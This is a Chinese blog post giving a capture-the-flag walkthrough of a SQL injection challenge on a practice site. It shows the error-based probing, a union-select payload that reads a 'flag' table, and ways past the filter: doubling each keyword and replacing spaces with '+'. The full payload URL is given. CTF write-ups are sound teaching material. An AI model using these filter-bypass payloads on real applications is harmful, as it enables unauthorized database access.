实验吧简单的sql注入解题思路

原创

ZweLL032 于 2017-03-17 21:20:07 发布 8066 收藏

文章标签： select sql注入

本文链接：https://blog.csdn.net/ZweLL032/article/details/62901676

解题思路：研究了好久，看了writeup才知道

1）在文本框输入1，提交，链接变成id=1

2）在文件框输入1‘，提交，报错，判断存在注入。

3）初步预计后台表为flag,字段名为flag,需要构造union select flag from flag来执行。

4）根据第二步的报错信息看，多加个‘，后面的语句需要再构造一个条件来结束’，注入语句为：1‘ union select flag from flag where ‘t’=’t

执行后报错：heck the manual that corresponds to your MySQL server version for the right syntax to use near ‘flag flag ‘t’=’t” at line 1

分析：根据错误信息发现只有变量了，其他的关键字都被过滤了。

5）把关键字写2遍提交，发现如下报错： corresponds to your MySQL server version for the right syntax to use near ‘unionselectflag fromflag where’t’=’t” at line 1

分析：发现空格被过滤了

6)）使用+号在空格之前连接：

http://ctf5.shiyanbar.com/423/web/?id=1 ‘+unionunion +selectselect +flag+fromfrom +flag+wherewhere+’t’=’t

得到KEY:flag{xxxxxx}